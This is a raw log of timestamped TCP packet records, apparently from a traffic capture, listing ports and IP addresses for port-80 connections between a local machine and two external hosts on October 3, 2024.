Oct 3, 2024 03:27:08.805676937 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805708885 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805741072 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805773020 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805788994 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805788994 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805824995 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805872917 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805881023 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805881023 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805907011 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805939913 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.805958986 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805958986 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.805972099 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806003094 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806018114 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806018114 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806035042 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806061983 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806066990 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806101084 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806118011 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806118011 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806149960 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806181908 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806200981 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806200981 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806215048 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806246042 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806272030 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806272030 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806294918 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806327105 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806346893 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806346893 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806359053 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806391954 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806412935 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806412935 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806442022 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806473970 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806497097 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806497097 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806505919 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806539059 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806566954 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806566954 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806571960 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806603909 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806621075 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806621075 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806652069 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806700945 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806704998 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806704998 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806750059 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806781054 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806806087 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806806087 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806813002 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806842089 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806847095 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806894064 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806894064 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806894064 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806926966 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806958914 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.806977034 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806977987 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.806991100 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807023048 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807039976 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807039976 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807054996 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807087898 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807106018 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807106018 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807120085 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807152033 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807168961 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807168961 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807183027 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807215929 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807238102 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807238102 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807246923 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807280064 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807296038 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807296038 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807312012 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807343960 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807362080 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807362080 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807374954 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807405949 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807424068 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807430029 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807456017 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807487011 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807506084 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807506084 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807518959 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807550907 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807574987 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807574987 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807580948 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807612896 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807630062 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807630062 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807645082 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807677031 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807694912 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807694912 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807708979 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807753086 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.807760000 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.807760000 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.808370113 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837083101 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837133884 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837182999 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837213993 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837265015 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837276936 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837276936 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837327957 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837361097 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837388992 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837388992 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837392092 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837426901 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837456942 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837456942 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837457895 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837491989 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837511063 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837511063 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837523937 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837573051 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837605000 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837606907 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837606907 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837637901 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837663889 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837666035 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837714911 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837740898 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837740898 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837748051 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837796926 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837810040 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837810040 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837830067 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837862968 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837888002 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837888002 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837894917 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837927103 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.837946892 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837946892 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.837959051 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838006973 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838011980 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838011980 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838041067 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838059902 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838073015 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838104963 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838129997 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838129997 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838136911 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838169098 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838186979 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838186979 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838197947 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838229895 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838248968 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838248968 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838262081 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838284969 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838294983 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838329077 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838345051 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838345051 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838361025 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838395119 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.838413000 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838413000 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.838448048 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857577085 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857628107 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857660055 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857702971 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857702971 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857707977 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857742071 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857758045 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857758045 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857774019 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857805967 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857822895 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857822895 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857837915 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857871056 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857877970 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857902050 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857906103 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857916117 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857934952 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857968092 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.857986927 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.857986927 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.858000040 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.858033895 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.858052015 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.858052015 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.858201027 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.895855904 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.895916939 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.895920038 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.895951033 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.895972013 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.895999908 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896034002 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896054029 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896054029 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896086931 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896136999 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896137953 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896137953 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896187067 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896220922 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896239042 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896239042 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896251917 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896300077 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896300077 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896300077 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896348953 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896398067 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896405935 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896405935 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896429062 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896477938 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896477938 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896478891 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896641970 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896696091 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896745920 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896774054 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896779060 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896811008 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896826982 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896826982 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896842957 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896891117 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896893024 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896893024 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896939039 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.896977901 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.896987915 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897036076 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897038937 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897038937 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897070885 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897102118 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897119045 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897119045 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897165060 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897182941 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897214890 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897248983 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897265911 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897265911 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897278070 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897309065 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897325993 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897325993 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897341967 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897373915 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897392988 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897392988 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897406101 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897438049 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897456884 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897456884 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897469997 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897500992 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897521019 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897521019 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897532940 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897564888 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897583961 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897583961 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897598028 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897629023 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897646904 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897646904 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897661924 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897692919 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897711992 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897712946 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897725105 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897758007 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897782087 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897782087 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897790909 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897821903 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897825956 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897857904 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897880077 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897880077 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897895098 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897928953 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897954941 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897954941 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.897959948 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.897993088 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.898010015 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.898010015 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.898024082 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.898056984 CEST	80	49736	185.215.113.103	192.168.2.5
Oct 3, 2024 03:27:08.898062944 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.898104906 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:08.898104906 CEST	49736	80	192.168.2.5	185.215.113.103
Oct 3, 2024 03:27:11.138333082 CEST	49735	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:11.138705015 CEST	49737	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:11.144288063 CEST	80	49737	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:11.144371033 CEST	49737	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:11.144468069 CEST	80	49735	185.215.113.43	192.168.2.5
Oct 3, 2024 03:27:11.144526958 CEST	49735	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:27:11.144575119 CEST	49737	80	192.168.2.5	185.215.113.43
